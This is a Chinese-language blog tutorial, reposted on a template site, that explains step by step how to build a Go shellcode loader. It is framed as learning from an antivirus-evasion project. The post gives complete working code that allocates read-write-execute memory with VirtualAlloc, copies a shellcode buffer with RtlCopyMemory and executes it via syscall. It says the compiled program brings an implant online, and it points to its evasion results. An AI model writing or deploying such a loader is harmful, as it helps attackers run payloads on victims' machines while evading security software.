基于Go加载shellcode

这篇具有很好参考价值的文章主要介绍了基于Go加载shellcode。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

基于Go加载shellcode

这里通过TideSec的go免杀项目来从0开始学习

首先导个包,需要用到如下几个包。

import (
	"io/ioutil"
	"os"
	"syscall"
	"unsafe"
)
  • io/ioutil 文件操作

  • os 系统操作

  • syscall syscall包含一个指向底层操作系统原语的接口

  • unsafe Go指针的操作非常有限,仅支持赋值和取值,不支持指针运算,可以通过unsafe包来达到效果

这里定义一下变量,然后需要通过syscall来加载两个dll,kernel32.dllntdll.dll

var (
	kernel32 = syscall.MustLoadDLL("kernel32.dll")
	ntdll = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
	shellcode_buf = []byte{
        shellcodedata
    }
)

然后这里有一个检查报错的函数,如果有报错就退出并打印报错信息。

func checkErr(err error) {
   if err != nil {
      if err.Error() != "The operation completed successfully." {
         println(err.Error())
         os.Exit(1)
      }
   }
}

然后来看下main函数,这里把shellcode赋值过来,然后有个if语句,这里的意思就是说当运行这个程序跟了参数的时候,就从第一个参数读取文件,把文件内容传给shellcode参数。

func main() {
   shellcode := shellcode_buf
   if len(os.Args) > 1 {
      shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
      checkErr(err)
      shellcode = shellcodeFileData
   }
   addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
   if addr == 0 {
      checkErr(err)
   }
   _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
   checkErr(err)
   syscall.Syscall(addr, 0, 0, 0, 0)
}

那么前面的都很简单,重点就在于这两段

 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

就来学习一下什么是VirtualAllocRtlCopyMemory

VirtualAlloc

VirtualAlloc文档

基于Go加载shellcode

这个函数就是用来申请内存空间的。把申请到的内存空间赋给addr,如果有报错信息就赋给err。

基于Go加载shellcode

第一个参数是申请的内存初始地址,第二个参数是申请的大小,第三个参数是决定怎么去使用这段内存,这里就采用这个MEM_COMMIT | MEM_RESERVE方法,一整段一起用,并且这里写了默认值。然后第四个参数是决定这段内存的属性PAGE_EXECUTE_READWRITE可读可写可执行。

基于Go加载shellcode

RtlCopyMemory

RtlCopyMemory

基于Go加载shellcode

第一个参数是决定从哪开始写入数据,第二个参数是填要写入内存的数据,第三个参数是数据的长度

最后通过syscall把这段内存跑起来,然后就成功加载shellcode了。

基于Go加载shellcode

完整代码

package main

import (
	"io/ioutil"
	"os"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT = 0x1000
	MEM_RESERVE = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)
var (
	kernel32 = syscall.MustLoadDLL("kernel32.dll")
	ntdll = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
	shellcode_buf = []byte{
        shellcodedata//填自己的shellcode
    }
)
func checkErr(err error) {
	if err != nil {
		if err.Error() != "The operation completed successfully." {
			println(err.Error())
			os.Exit(1)
		}
	}
}
func main() {
	shellcode := shellcode_buf
	if len(os.Args) > 1 {
		shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
		checkErr(err)
		shellcode = shellcodeFileData
	}
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if addr == 0 {
		checkErr(err)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	checkErr(err)
	syscall.Syscall(addr, 0, 0, 0, 0)
}

编译之后,运行即可上线

基于Go加载shellcode

免杀效果

基于Go加载shellcode文章来源地址https://www.toymoban.com/news/detail-484438.html

到了这里,关于基于Go加载shellcode的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Gin安装解决国内go 与 热加载

     get 方式安装超时问题,国内直接用官网推荐的下面这个命令大概率是安装不成功的 可以在你的项目目录下执行下面几个命令: 比如我的项目在E:Oprojectzl  cmd  E:Oprojectzl就在目录下执行 这样就能将 gin以module的方式安装到你的项目的Lib里面了。 如果执行完上面的命令没报

    2024年02月12日
    浏览(45)
  • 解决 go mod tidy 加载模块超时

    如果go mod tidy 加载模块超时 解决方法 修改GOPROXY: 查看go环境相关信息:

    2024年02月11日
    浏览(41)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(43)
  • 免杀入门---shellcode免杀

            本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。         免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。         市面上的杀毒软件基本由扫描器、病毒特征

    2024年02月02日
    浏览(69)
  • 1.9 动态解密ShellCode反弹

    动态解密执行技术可以对抗杀软的磁盘特征查杀。其原理是将程序代码段中的代码进行加密,然后将加密后的代码回写到原始位置。当程序运行时,将动态解密加密代码,并将解密后的代码回写到原始位置,从而实现内存加载。这种技术可以有效地规避杀软的特征码查杀,因

    2024年02月10日
    浏览(219)
  • ASCII码-shellcode的技巧

    网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题 程序一开始会让我们在 bss 段上输入数据,并且判断输

    2024年02月12日
    浏览(68)
  • 1.6 编写双管道ShellCode

    本文将介绍如何将 CMD 绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的 ShellCode 后门

    2024年02月10日
    浏览(70)
  • 1.4 编写简易ShellCode弹窗

    在前面的章节中相信读者已经学会了使用 Metasploit 工具生成自己的 ShellCode 代码片段了,本章将继续深入探索关于 ShellCode 的相关知识体系,ShellCode 通常是指一个原始的可执行代码的有效载荷,攻击者通常会使用这段代码来获得被攻陷系统上的交互Shell的访问权限,而现在用于

    2024年02月11日
    浏览(39)
  • 驱动开发:内核ShellCode线程注入

    还记得 《驱动开发:内核LoadLibrary实现DLL注入》 中所使用的注入技术吗,我们通过 RtlCreateUserThread 函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入 ShellCode 代码实现反弹Shell,这里需要注意一般情况下 RtlCreateUserThread 需要传入两个最重要的

    2024年02月08日
    浏览(52)
  • 第七届福州大学信息安全竞赛——shellcode1 绕过strlen检查,绕过沙箱检查,执行orw shellcode拿到flag

    链接:https://pan.baidu.com/s/1HrMqh-lX-mkfueVeLzoEJg  提取码:oyel 这是一道非常让人蛋疼的题目,之前我只听说过沙箱,但是并没有自己实际接触过沙箱这个保护机制,大概作用就是开了沙箱之后,会禁用掉某些函数,一旦我们使用了这个函数,比如我们在栈溢出构造ROP,或者写入

    2024年02月04日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包